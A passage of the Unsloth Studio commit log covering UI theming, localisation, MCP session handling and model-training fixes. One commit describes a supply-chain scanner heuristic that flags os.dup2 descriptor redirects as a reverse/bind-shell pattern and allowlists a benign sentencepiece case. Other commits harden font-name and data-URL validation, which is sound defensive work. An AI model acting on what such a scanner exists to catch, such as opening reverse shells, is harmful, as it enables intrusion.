reason. Number inputs swap native spinners for a shared grey stepper
that clamps to min, max, and step. Run settings fields in light mode use
the same white fill and border as the settings dialog. Selection and
focus rings derive from each palette's border color instead of near
black, hover borders soften the same way, the Classic sidebar stays
white like Standard, decorative greens follow the palette accent, and
meaning-carrying marks like the hub verified badge keep the brand green
in every palette.

* Unsloth: palette card selection keyed off the palette attribute

Switching palettes restyles the whole page the moment data-palette lands
on the html element, but the React re-render that moves the selection
classes arrives later, so the ring and check briefly stayed on the
previous card with the new palette's colors. The active ring and check
now key off html[data-palette] in CSS, so they swap in the same style
pass that swaps the tokens. Also adds breathing room around the settings
search bar and under the Settings label, shortens the greeting sloth
description, and renames the avatar section to Or pick a sloth profile
picture in all locales.

* Unsloth: restore neutral rings, drop the palette check, sidebar spacing

Puts the ring tokens back to their fixed per palette values and removes
the hover border darkening, undoing the derived border experiment. The
selected palette card no longer shows a check since the ring already
marks it. The settings sidebar search bar, nav pills, and search results
get a little side padding, and the Settings label lines up with the pill
text.

* Unsloth: indicator restyle, sidebar menu customization, edge fade toggle

- Derive focus and selection rings from the border color so indicators
  stay 1px and adapt to every theme and palette
- Suppress mouse focus rings except on pressed controls to remove the
  selection flash on the avatar and palette pickers
- Defer settings panel rendering so the active nav pill updates instantly
- Customizable sidebar user menu with drag to reorder and shortcuts to
  the settings tabs
- Grey hover for the standard light palette instead of green
- Borderless controls in dark mode with fill based focus states
- Profile picture: no picture option, pencil edit icon, atomic selection
- Font dropdowns: narrower triggers and the resolved default shown as
  Inter Variable (Default)
- System prompt border darkens on focus
- New appearance setting to swap edge fades for thin divider lines
- Move the theme bootstrap to an external script to satisfy CSP

* Unsloth: harden theme boot and Firefox scroll container focus

- Guard the theme and palette storage reads separately so a blocked
  localStorage (private browsing) still resolves a mode from the OS
  preference instead of skipping the boot entirely
- Firefox makes scrollable containers keyboard focusable and drew its
  3px UA outline on them; swap it for the app's soft 1px indicator

* Unsloth: make the UI and code font settings reach the font utilities

The theme block declared the sans and mono stacks as literals, so
Tailwind inlined them into every font-sans and font-mono utility at
build time and the runtime overrides from Settings > Appearance never
applied. Reference the :root tokens instead, matching how the color
tokens already work.

* Unsloth: in-dropdown font upload, accent meters and avatar, naming cleanup

- Move font importing into each font dropdown: Upload and Select folder
  sit side by side under the list, imported fonts get an inline remove,
  and the standalone Import font row is gone
- Uploads reuse fonts the user already has (bundled, imported, or
  installed, matched by file name with style suffixes stripped) instead
  of embedding a duplicate copy; only new fonts are embedded
- Folder scan lists font files from a picked folder in every dropdown
  for the session; picking one imports it through the same path
- Fallback avatar uses the control accent with a readable foreground
  instead of the neutral primary that rendered black outside standard
- Monitor bars, progress defaults, sliders, and usage meters use the
  control accent; warning and danger tiers stay amber and red
- User facing strings that called the app just Studio now say Unsloth
  in all four locales, keeping Unsloth Studio and LM Studio intact

* Unsloth: left align the font upload actions and divide them

Upload and Select folder now read from the left like the list items,
with a short vertical rule between the two.

* Unsloth: keep sliders neutral and the chat greeting on Hellix

- Sliders are controls, not meters, so their fill goes back to the
  neutral primary instead of the palette accent
- The base h1 rule reads --font-heading with !important and the chat
  thread root resets that variable to the sans stack, which pulled the
  greeting off Hellix; restore the stack on the greeting element

* Unsloth: move the None avatar cell last and keep footer actions on one line

- None sits after the sloth pictures instead of leading the grid
- Upload shrinks to its label so Select folder no longer wraps

* Unsloth: size the folder action to its label

Both footer actions now hug their content so the hover pill does not
stretch across the leftover row width.

* Unsloth: separators only between unrelated settings clusters

Rows inside a titled section are related, so the per row divide-y is
gone from SettingsSection. A SettingsGroupDivider marks the two real
boundaries in the theme section (colors to fonts, fonts to contrast)
and the Clear all chats row gets its destructive border back now that
divide-y no longer draws one for it.

* Unsloth: balance the two font upload actions

Both actions share the footer row evenly again; nowrap keeps Select
folder on one line at the narrower width.

* Unsloth: drop the theme section dividers and split the chat menu groups

The colors, fonts, and contrast rows read fine without rules, and the
chat menu gains its one real boundary between the pin toggles and the
disclaimer rows.

* Unsloth: normalize oversized sidebar menus and reject newline font data URLs

Two backend validation fixes in PersonalizationCustomization:

- sidebarMenu refused any list longer than the number of distinct ids
  because Field(max_length) is enforced before the dedupe validator runs.
  A stale or duplicated payload that would normalize to one entry per id
  was rejected outright, defeating the normalizer that exists for exactly
  that case. Cap the incoming list at a generous multiple so it reaches
  the validator; a pathologically long list is still refused.

- The imported font dataUrl validator used re.match on a pattern ending
  in $, which also matches just before a trailing newline, so
  "data:font/woff2;base64,AAAA\n" passed even though the frontend JS
  pattern rejects it. Use re.fullmatch for parity.

Adds covering tests for both.

* Unsloth: preview fonts in their own typeface and slim the color pills

- Every font dropdown entry, the default item, and the closed trigger
  render in the font they name, falling back to the UI stack for
  families the browser cannot resolve
- Color swatch pills drop from 36px to 28px so they sit closer to the
  row label height

* Unsloth: drop the font row and theme section descriptions

The labels carry the meaning on their own; the mode switching note in
particular read long and confusing.

* Unsloth: let the chat greeting follow the heading font setting

The greeting stays on Hellix by default but adopts a chosen heading
font through a --custom-heading-font variable the applier sets only
while an override exists, so the thread root's sans reset for chat
prose no longer hides the user's pick from the greeting.

* Unsloth: divide the theme section clusters and align the color pill height

Separators return between colors and fonts and between fonts and
contrast, and the color pills share the 32px height of the font
dropdown triggers.

* Unsloth: color pills at half the dropdown width

Fixed w-24 against the w-48 font triggers, with tighter padding so the
hex value still fits.

* Studio: update dep-removal test after next-themes was replaced

The frontend no longer declares next-themes or imports it in src (it was
replaced by the custom theme store and boot script), so the checker now
reports its removal as a safe no-op. The C1 and C8 fixtures in
test_frontend_dep_removal.py still asserted next-themes was a used
dependency, which fails the studio frontend CI dependency-removal safety
check. Update C1 to expect a no-op PASS and drop next-themes from the C8
expected failures so the suite matches the checker's correct output.

* Studio: remove unused ageLabel and exportCollectionJsonl helpers

* Studio: fix blocked-storage theme desync, search jump race, font validation

- theme-store.ts: keep an in-memory currentTheme/currentPalette so a selected
  value survives when localStorage is blocked (private browsing). The snapshots
  previously re-read empty storage and reverted React state to the default while
  the DOM already changed. The matchMedia handler no longer re-reads storage, so
  it cannot clobber the in-memory choice; cross-tab storage events still adopt.
- settings-dialog.tsx: the search jump waited a single fixed 60ms for the
  deferred tab panel to render, then silently missed under render lag. Retry
  across animation frames until the target row exists, then scroll and flash.
- settings.py: apply the font-name character check to the four selected-font
  fields (uiFont/headingFont/chatFont/codeFont), and forbid backslash, comma,
  slash and control characters so a name cannot escape the quoted CSS
  font-family or smuggle extra fallbacks. Adds covering tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix appearance customization edge cases for PR #7077

- Reset all local preferences now also clears palette and appearance customization
- Number input wrapper keeps full width so fields fill their flex/grid cell, and the stepper stays pinned to the field edge
- Number stepper snaps to the min anchored step grid like the native spinner instead of leaving a step-invalid value
- Code font now applies to chat code fences and inline code via a dedicated token
- Reduce motion (on/off) is honored by onboarding/tour confetti and the theme toggle view transition
- Re-importing a font under the same name with new bytes now swaps the FontFace
- Keep local customization when a synced record predates the customization field, and re-push it

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Align client font name sanitization with server validation for PR #7077

sanitizeFont now strips the same characters the backend _FONT_NAME_FORBIDDEN
rejects (backslash, slash, comma, backtick) plus control chars, so a locally
chosen font name can no longer pass the client but fail the personalization PUT
and silently stall appearance sync.

* Address follow-up review items for PR #7077

- Number input wrapper carries React Flow interaction classes (nodrag/nopan/nowheel) so clicking the stepper arrows increments instead of dragging the node
- Preserve local palette and greeting-sloth toggle when the synced record predates those fields, and re-push them, mirroring the customization handling (new paletteSaved and greetingSlothSaved response flags)
- Add settings-search scroll targets (data-settings-label) for the Profile title, description, display name, nickname, and avatar shape rows

* Preserve absent personalization fields on PUT for PR #7077

A stale client that omits palette or customization previously had those
defaults materialized by model_dump() and persisted, which flipped
paletteSaved/customizationSaved to true and defeated the legacy detection.
The PUT now dumps only the request's set fields and merges them onto the
stored record, so omitted fields keep whatever was already stored.

* Persist theme and palette via a fixed allow-list for PR #7077

The theme/palette values reach setTheme/setPalette from the authenticated
personalization sync, which made the CodeQL clear-text-storage query treat
writing them to localStorage as storing sensitive data. Store a re-derived
literal from a constant map instead, so a plain UI preference is not tracked
as sensitive; behavior is unchanged.

* Harden imported-font handling for PR #7077

- syncImportedFonts: a rejected FontFace.load() only clears the registry entry
  if it still points at that face, so a same-name re-import while the old load
  was pending is no longer untracked/leaked.
- Cap imported-font names to the backend length (100) so an over-long name can
  no longer pass the client but fail the personalization PUT and stall sync.
- Add a backend test that a stale PUT preserves an existing stored palette and
  customization (not just that absent fields stay absent).

* Return the merged personalization record from PUT

The PUT /personalization handler returned the request payload, which
Pydantic had already filled with defaults for any field the client
omitted. A partial or stale write (for example a client sending only
theme) therefore got back a response that contradicted both storage and
the next GET: preserved fields like palette and the custom font showed
their defaults instead of the stored values.

Return model_validate(merged) so the response mirrors what was stored.
The stored record is still the full merged dict, so legacy fields the
model does not know about are preserved as before.

* Fix small UI and keyboard-focus defects in appearance settings

- Settings search now scrolls to the result within its destination tab
  instead of a same-named row in the previously rendered deferred tab
  (for example "Storage" and "Models folder" appear in both General and
  Resources).
- The reduce-motion segmented control honors its own Off/On/System choice
  by reading useReducedMotionConfig instead of the OS-only useReducedMotion.
- The color picker saturation/value area is operable by keyboard, so the
  role="slider" surface responds to the arrow keys it advertises.
- Profile avatars and palette cards show a visible keyboard focus ring
  again.
- Guard the persisted appearance-customization write so a blocked or full
  localStorage does not throw out of a store action, matching the theme
  store.
- Import the appearance store symbols from the settings feature barrel.

* Tighten appearance fix comments

---------

Co-authored-by: shimmyshimmer <shimmyshimmer@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-14 05:12:08 -07:00
oobabooga
5de668926c
Studio: make Stop interrupt a llama.cpp generation stalled mid-stream (#7117)
* Studio: make Stop interrupt a llama.cpp generation stalled mid-stream

* Studio: tighten stream-cancel comments

---------

Co-authored-by: danielhanchen <danielhanchen@users.noreply.github.com>
2026-07-14 05:11:56 -07:00
Long Yixing
c80e7d317a
fix(studio): prevent auth monitor reload loop (#7118) 2026-07-14 05:04:28 -07:00
Daniel Han
2f3eae9846
Studio: resolve llama.cpp prebuilts via the release-assets CDN to avoid GitHub API rate limits (#7086)
* Studio: resolve llama.cpp prebuilts via the release-assets CDN to avoid GitHub API rate limits

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: resolve manifest-named prebuilt assets on the download-host fast path

Add tag-pinned CDN URLs for any manifest artifact whose hash is keyed under an
upstream-tag alias in the checksum asset, so the fast path resolves the same
assets the API path does. Cover the resolve body directly (only download_bytes
stubbed) and soften the doc's validation-equivalence wording.

* Studio: pin llama.cpp fast path to the releases/latest redirect tag

Derive the authoritative latest tag from GitHub's /releases/latest redirect
target instead of trusting the checksum asset's self-reported release_tag, so the
existing release_tag cross-check in parse_approved_release_checksums is a real
check again: a stale or mis-tagged checksum asset now falls back to the API. Pin
every fast-path URL to that tag. Fall back to the API on a manifest 404 as well,
since an in-progress release can publish the checksum asset before the manifest,
matching the sha256 404 handling. Document the releases/latest (created_at /
make_latest) versus published_at ordering divergence and why it is an accepted,
mitigated tradeoff.

* Studio: drop the llama.cpp prebuilt-resolution doc

Remove studio/docs/llama-cpp-prebuilt-resolution.md and the docstring pointer to
it; the resolution rationale (the created_at/make_latest vs published_at ordering
nuance) stays inline in _download_host_latest_release_tag.

* Studio: tighten llama.cpp download-host fast-path comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-14 03:30:17 -07:00
Nilay
601155114d
Studio: persistent stdio MCP sessions so server state survives across tool calls (#7080)
* Studio: persistent stdio MCP sessions so server state survives across tool calls

call_tool_sync spawned a fresh stdio subprocess per tool call
(keep_alive=False) and tore it down when the call returned, so any stateful
MCP server lost its state between calls: with @playwright/mcp,
browser_navigate opened the page in one subprocess and
browser_take_screenshot ran in a brand-new one, screenshotting about:blank.

Keep one connected client per (command, env) on a dedicated event-loop
thread and reuse it across calls:

- idle sessions are reaped after 5 minutes (in-flight calls excluded) and
  everything closes at exit, preserving the old design's no-orphans property
- a dead subprocess is detected via is_connected() and retried once on a
  fresh session; tool-level errors leave the session alone
- cancel and timeout semantics are unchanged, and a timed-out call does not
  tear the session down
- updating a server's endpoint/env/enabled state or deleting it closes its
  live session
- HTTP/SSE servers stay one-shot per call

* address review feedback

* fix stdio session cleanup

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* address review: per-thread MCP scope, close-during-connect and abort races

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* address review: unblock no-limit calls on close, drain borrowers before close, scope closes to url+env

* don't retry sessions closed by config changes, re-verify server row before caching, keep env secrets out of generation keys

* fail fast on connect errors and make the stdio key-lock wait cancellable

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* quote MCP scope parts so IDs with colons can't collide

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* serialize per-session stdio calls, span one timeout budget across connect and call, hash urls in generation keys

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden persistent stdio MCP sessions: crash recovery, concurrency, scoping

- Evict a stdio session on any transport-level (non-ToolError) call failure and
  do not replay it, so a mid-call subprocess crash can no longer poison the scope.
  Never gate liveness on Client.is_connected() (it only reports that a session
  object exists, not that the subprocess is alive); add a version-adaptive
  dead-transport probe that works on fastmcp 3.0.2 and newer.
- Re-check closed/defunct/config and transport liveness after acquiring the call
  lock, and retire a session before releasing the lock, so a queued same-scope
  caller never reuses a session that another caller's timeout already retired.
- Force a ProactorEventLoop on Windows so the stdio transport can always spawn
  subprocesses regardless of the active event-loop policy.
- Scope stdio sessions per conversation: require thread_id to persist, and tag
  the fields so a session_id and a thread_id with the same value cannot collide.
  A session_id alone is project-wide, so it now falls back to a safe one-shot
  session instead of sharing browser/DB/REPL state across conversations.
- Forward thread_id on the Anthropic Messages path.
- Treat timeout=None as unlimited on connect and the key lock (was capped at 60s).
- Bound the session cache (default 32, override via
  UNSLOTH_STUDIO_MAX_STDIO_MCP_SESSIONS) with LRU eviction of idle sessions.
- Run config_check on cache hits, and log a redacted exe#digest label instead of
  the raw command so credentials in argv never reach the logs.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim the stdio MCP session cache on release and skip close-generation for HTTP servers

Two fixes from review of the persistent stdio session lifecycle:

- Re-enforce the session cap when a session goes idle. A concurrent burst of
  distinct-scope calls can overshoot the cap while every cached session is busy
  (insert-time eviction only reclaims idle sessions), and the overshoot used to
  persist until the 5-minute idle reaper. _release_stdio_session now trims the
  idle overshoot back within the cap, without ever evicting an in-flight call.
- close_stdio_sessions() now no-ops for a specific non-stdio (HTTP/SSE) url.
  Those transports are never cached as stdio sessions, so calling it on every
  HTTP server update or delete used to accrue an unbounded close-generation entry.

Both are covered by regression tests that fail before the change and pass after.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep the live stdio MCP session across a display-name rename

The edit dialog resends url, headers, and use_oauth unchanged whenever a
server is saved, so gating the tool-cache invalidation and stdio session
close on field presence dropped the persistent process on a plain rename
or any no-op edit. Gate on a real value change against the stored row so
only a genuine endpoint, auth, or enable change closes the session.

Regression tests: a rename that resends unchanged url/headers/oauth keeps
the session; a real command change still closes it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments in the stdio MCP session lifecycle

Collapse a few verbose comments to fewer lines with the wording preserved,
and drop one that restated the clear_oauth_tokens_async docstring. Comments
only; no code change.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-14 02:28:43 -07:00
Daniel Han
744b59f04a
scan_packages: baseline sentencepiece dup2 finding after upstream reindent (#7120)
The supply-chain scan gates on non-baselined CRITICAL/HIGH findings. A newer
sentencepiece release reindented the stdout/stderr fd-redirect helper in
sentencepiece/__init__.py (the os.dup2 pair the heuristic flags as a
reverse/bind-shell pattern), moving it from L1221/L1226 to L772/L777 and
changing its leading indentation.

The baseline key is (package, package-relative file, check, evidence_hash),
where evidence_hash is over the matched code with the L<NN>: markers stripped
but the code's own indentation preserved. The reindent therefore changed the
hash (bba233.. -> 65b5a11c..), so the existing entry no longer suppressed the
finding and it resurfaced as a blocking CRITICAL in the hf-stack and studio
scan legs.

Add the new indentation variant to the allowlist. The calls are sentencepiece
redirecting stdout/stderr file descriptors to capture its C++ logs, not a
shell; no socket or networking is involved. The old L1221 entry is kept so
both versions stay covered.
2026-07-14 01:38:50 -07:00
Michael Han
6e375a5b17
Studio: add French, German, Spanish, Hindi, Arabic, Russian and Korean display languages (#7076)
* Studio: add 7 display languages, complete and fix existing locales

Adds fully translated French, German, Spanish, Hindi, Arabic, Russian and
Korean locales. Fills in all missing keys for zh-CN (113), ja (71) and
pt-BR (47), fixes translation errors found in review, and reorders the
language dropdown by popularity. All overlays pass check-parity with zero
missing keys and zero placeholder mismatches.

* Studio: default display language to auto detect

The language preference now defaults to auto and resolves against the
browser language list, with exact tag match first and language subtag
match second (pt-PT resolves to pt-BR, zh-TW to zh-CN). Auto detect is
the first dropdown option and is translated in every locale. Explicit
choices still persist and sync; personalization sync now round trips
the preference instead of the resolved locale so auto stays auto across
devices. Auto mode also follows browser languagechange events.

* Studio: guard import.meta.env in translate for non-Vite contexts

translate() read import.meta.env.DEV directly, which throws when the
module runs outside Vite (SSR or Node tooling). Optional-chain it so the
dev-only warning is skipped and translation still works everywhere.

* Studio: RTL for Arabic, translate recipes, keep Traditional Chinese off zh-CN

- Sync document dir from a per-locale dir field so Arabic mirrors the
  layout instead of rendering RTL text in an LTR shell.
- Translate the recipes nav label in fr, de, ko and hi to match the
  other locales (Recettes, Rezepte, and native forms).
- Detection no longer maps Traditional Chinese (zh-Hant / zh-TW / zh-HK /
  zh-MO) to Simplified zh-CN; those tags fall through to the next
  preferred language. Simplified tags (zh, zh-CN, zh-SG, zh-Hans) still
  resolve to zh-CN.

* Studio: don't treat legacy synced English as an explicit language pick

The old sync serialized the resolved locale on every save, so existing
profiles carry appearance.language 'en' even when the user never chose a
language. Hydrating that as a pinned locale forced non-English browsers
back to English under the new Auto detect default. Payloads now carry
version 2 (the preference itself); on hydrate a version 1 'en' maps to
auto, while explicit picks and all version 2 values are kept as-is.

* Studio: persist only known language codes from the locale table

normalizePreference now returns a value re-derived from the LOCALES keys
instead of the raw input. It stays functionally identical (the stored
value was already whitelisted) but makes it explicit that only known,
non-sensitive language codes are written to localStorage, and clears a
false-positive clear-text-storage scan on the persistence path.

* Studio i18n: fix Train label transliteration and tidy locale consistency

- ja and hi: the nav and route Train label used the railway transliteration
  (トレイン and ट्रेन); switch to the training term already used everywhere
  else in each file (トレーニング, ट्रेनिंग).
- zh-CN: keep VRAM in English to match every other locale and the PR's own
  keep-English rule, and drop an extra clause added to the upload size hint
  so it matches the English source.
- hi: translate Recents to हाल के in the export and import section to match
  the sidebar label, and point users to the Configure tab by its translated
  name (कॉन्फ़िगर).
- ru: reword the preview sharing hint to avoid the "disable to disable"
  repetition.

i18n parity and the type checked build stay green.

* Studio i18n: keep Arabic layout LTR until physical-direction CSS is converted

Setting ar to dir rtl only mirrors the flex based shell, sidebar and
settings dialog. The shared select, dialog and dropdown primitives use
physical-direction utilities (right-2, top-5 right-5, ml-auto) that do not
flip under dir rtl, so chevrons, close buttons and check marks land on the
wrong side. Keep Arabic on an LTR layout for now, matching the original plan
in this PR. Arabic text still renders right to left per element via bidi and
chat content keeps dir auto, so nothing regresses. Full layout mirroring can
follow once the physical-direction classes are converted to logical ones.

* Studio i18n: do not let a generic zh after a Traditional tag pick Simplified

navigator.languages can be a list like ['zh-TW', 'zh', 'en-US']. The zh-TW
pass already falls through, but the bare zh then reached the language-subtag
match and selected zh-CN, so Traditional Chinese users still got Simplified
and the guard was defeated. detectLocale now remembers when a Traditional
tag was seen and skips a later bare zh, so detection keeps falling through to
the next non-Chinese language. A lone bare zh, and explicit zh-CN or zh-Hans
fallbacks, still resolve to Simplified as before.

* Studio i18n: collapse two locale comments to a single line

The Arabic dir note in messages.ts and the bare-zh note in
locale-store.ts were two lines each; tighten each to one. Comment
only, no behavior change.

* Studio i18n: translate Hindi strings that were left in English

Seventeen hi.ts labels stayed in English while all the other locales
translated them: the training parameter labels (Grad Accum, Grad Norm,
Grad Checkpoint, Eval Loss, Clip p95/p99, Seed, Continued Pretraining),
the API example labels (curl/Python/JavaScript + tools/advanced),
Hugging Face token, the VRAM estimate and the training terminal start
line. Parity only checks key/placeholder presence so it did not catch
these. Brand and technical tokens (curl, Python, VRAM, Loss, p95/p99,
Hugging Face, unsloth) stay in English as elsewhere.

---------

Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-14 01:38:04 -07:00
Nilay
fea7d9ba34
Studio: render image content returned by MCP tools (#7081)
* MCP image handling

* clean upg

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: return MCP error results so image content is not dropped

FastMCP client.call_tool raises ToolError by default on an is_error
result, so it never reaches _flatten_result and any returned image is
dropped. Pass raise_on_error=False so error results flow through
_flatten_result and keep their images. Transport failures still raise
and hit the existing handler. Add a regression test for the real path.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: accept raise_on_error kwarg in MCP test fake clients

The call_tool_sync fix passes raise_on_error=False to client.call_tool.
Update the fake MCP clients patched into mcp_client._client so their
call_tool signatures accept the keyword, keeping the stdio/servers MCP
test suites green.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: tighten MCP raise_on_error rationale comments

* Studio: only strip MCP image sentinel when suffix is a valid image envelope

* Studio: validate MCP image envelope in chat adapter and keep base64 out of exports

* Studio: sanitize MCP images in all export formats and fall through to sandbox parser on invalid marker

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-14 00:30:21 -07:00
oobabooga
ed42702730
Probe xformers support on sm_120 instead of disabling it by version (#6828) 2026-07-14 00:01:25 -03:00
oobabooga
a5eb10abc9
Studio: Add rename to project chat rows (#7005) 2026-07-13 20:52:30 -03:00
oobabooga
014d08c763
Studio: install torchao Windows ROCm stub in the inference worker (#7000) 2026-07-13 19:20:25 -03:00
oobabooga
76d7088e0a
Studio: Show Run button for downloaded non-GGUF models in the Model Hub (#7001) 2026-07-13 19:18:20 -03:00
oobabooga
f60b982a09
Studio: Fix torch_dtype deprecation warning on startup and ASR load (#6999) 2026-07-13 17:34:25 -03:00
oobabooga
85f5292097
Studio: resync model state after a llama.cpp update unloads it (#6998) 2026-07-13 15:43:13 -03:00
Long Yixing
a337c72753
Fix Studio auto-titles for reasoning models (#7098) 2026-07-13 15:13:50 -03:00
Long Yixing
2573dbdd6b
fix(studio): use writable recipe artifact path (#7044) 2026-07-13 15:08:45 -03:00
Long Yixing
cc8599207c
Fix Studio user-message overflow for long unbroken text (#7100) 2026-07-13 14:42:40 -03:00
Daniel Han
c570180a32
Tighten Studio instruction-file cleanup boundaries (#7097)
* Handle linked instruction files in Bash cleanup

* Limit instruction cleanup to managed dependencies

* Make Bash cleanup test portable

* Run junction cleanup regression on Windows

* Keep instruction cleanup CI focused
2026-07-13 01:46:23 -07:00
Daniel Han
9e77c1e663
Studio: remove AGENTS.md and CLAUDE.md from install artifacts (#7096)
* Studio: remove AGENTS.md from install artifacts

* Studio: prune CLAUDE.md from install artifacts

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix Studio instruction cleanup edge cases

* Trim Studio cleanup comments

* Make Studio cleanup safe on PowerShell 5.1

* Fix Studio cleanup ownership boundaries

* Simplify Windows link detection

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-13 00:15:04 -07:00
Daniel Han
ca979e9643
Studio: add UNSLOTH_SKIP_AUTOSTART installer flag (#7093)
* Studio: add installer autostart opt-out

* CI: run installer autostart tests cross-platform

* Tests: combine Studio installer skip flags
2026-07-12 21:23:14 -07:00
Daniel Han
2a22da9fd7
Studio: startup loading banner and mute the benign bitsandbytes ROCm warning (#7085)
* Studio: startup loading banner and mute the benign bitsandbytes ROCm warning

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: shorten startup banner wording

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-12 18:19:33 -07:00
WinkleMad
935474c20a
Fix SyntheticDataKit.chunk_data emitting chunks over max_tokens (#7073)
* Fix SyntheticDataKit.chunk_data emitting chunks over max_tokens

The multi-chunk path built boundaries from np.linspace(..., n_chunks), but
pairing boundaries[:-1] with boundaries[1:] turns N points into N-1 ranges,
so it produced one fewer, oversized chunk: every chunk exceeded max_tokens
and a document just over the threshold came back as a single unsplit chunk.
Use n_chunks + 1 points so exactly n_chunks ranges are emitted, each within
max_tokens.

Also base n_chunks on the non-overlapped span: consecutive chunks overlap by
overlap, so covering length needs ceil((length - overlap) / stride) chunks, not
ceil(length / stride). The looser count over-counted by one just past a stride
multiple (a 673-token doc became 3 chunks of ~267 instead of 2 of ~369),
emitting an extra redundant chunk. Coverage and overlap are unchanged and every
chunk still stays within max_tokens.

* Condense chunk_data comments and clarify over-split test for PR #7073

---------

Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-12 05:06:11 -07:00
Daniel Han
275bad1f64
Studio: fix the manual response-template markers that never match their rendered templates (#7062)
* Fix broken manual response-template markers in Studio's fallback table

Six template families in TEMPLATE_TO_RESPONSES_MAPPER shipped markers that
never match what their chat templates actually render, so the manual
train_on_completions path masked every assistant token and the run died on
the all-labels-masked safety net:

- mistral, llama: '[INST] ' / ' [/INST]' - the surrounding spaces fold into
  the neighbouring tokens ('[INST]'/'[/INST]' are single special tokens in
  Mistral v0.3, SentencePiece pieces in Llama-2), so the padded strings
  never match. Now '[INST]' / '[/INST]'.
- starling: trailing space after 'GPT4 Correct Assistant:' folds into the
  next content token. Now no trailing space.
- glm: '[gMASK]<sop>' renders once at text start, never before later user
  turns, and '<think>' is generation scaffolding rendered as a lone
  '</think>' on non-final turns. Now '<|user|>' / '<|assistant|>'.
- qwen3-thinking: '<think>' is stripped from non-final assistant turns
  (Qwen3-Thinking-2507) and never rendered by QwQ. Now the bare assistant
  header, matching the other qwen entries.
- zephyr: role tags are plain text and SentencePiece tokenizes them
  differently at text start than after '</s>' + newline mid-conversation;
  the markers need the leading newline anchor. Now '\n<|user|>\n' /
  '\n<|assistant|>\n'.

Validated token-level on each family's representative tokenizer with a
two-turn fixture plus system message: user and system content fully masked,
every assistant turn trained, and the final EOS label never -100. The
fixed mistral, llama, starling and glm markers produce labels identical to
zoo auto-detection; qwen3-thinking differs only in one turn-separator
newline token. All 22 unchanged entries produce byte-identical labels to
before this change.

Adds tests/test_response_template_markers.py pinning the fixed and key
unchanged marker literals (dependency-free) plus token-level masking checks
that skip when tokenizers or unsloth_zoo are unavailable offline.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close tokenizer config handle and read it as UTF-8

Chat templates in tokenizer_config.json are rarely ASCII-only, so the
default locale codec could fail the GLM fallback loader on Windows.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments

* Anchor the llama marker on <s> and harden the marker test

On transformers 5.x llama-2 tokenizes [INST] after <s> as a bare left
bracket while the standalone encoding gives the space-prefixed piece, so
the unanchored marker missed every turn boundary and later user turns
leaked into training; 4.57 masked this. Anchoring on <s>[INST] matches
both tokenizations, verified token-level under 4.57.6 and 5.5.0.

The test now unwraps the BatchEncoding that apply_chat_template returns
on 5.x before indexing, and the latent trailing spaces in the unreachable
unsloth and vicuna entries are dropped for table consistency.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-11 21:29:19 -07:00
Daniel Han
f899834e58
DeepSeek-V4: eager attention and trainable FP8 grouped experts (#7042)
* DeepSeek-V4: eager attention and trainable FP8 grouped experts

deepseek_v4 ships a custom attention that is not compatible with the sdpa
and flash paths, so add it to _EAGER_ONLY_PREFIXES to load with eager.

Its fused experts load as FP8GroupedLinear, whose forward calls a grouped
matmul kernel with no autograd formula, so loss.backward() fails during
finetuning. Patch the forward to dequantize the frozen fp8 weight and run a
differentiable grouped matmul while training, keeping the fused fp8 kernel
for inference.

* DeepSeek-V4: exclude sdpa/flash and stream fp8 grouped backward

Add deepseek_v4 to _SDPA_EXCLUDED_MODELS and _FLASH_EXCLUDED_MODELS so an
explicit attn_implementation=sdpa/flash request downgrades to eager instead of
raising (the model has no sdpa/flash kernel), matching the eager-only default.

Replace the FP8GroupedLinear training bmm with a custom autograd Function that
saves only the fp8 weight + scale rather than a full bf16 dequantized copy, so
no dequantized grouped weight is retained per layer, and unwrap tensor-parallel
shards before dequant. Bit-exact forward and grad with the previous path.

* FP8 grouped: consistent checkpointing math and block-size-aware dequant

Gate the differentiable training path on self.training rather than
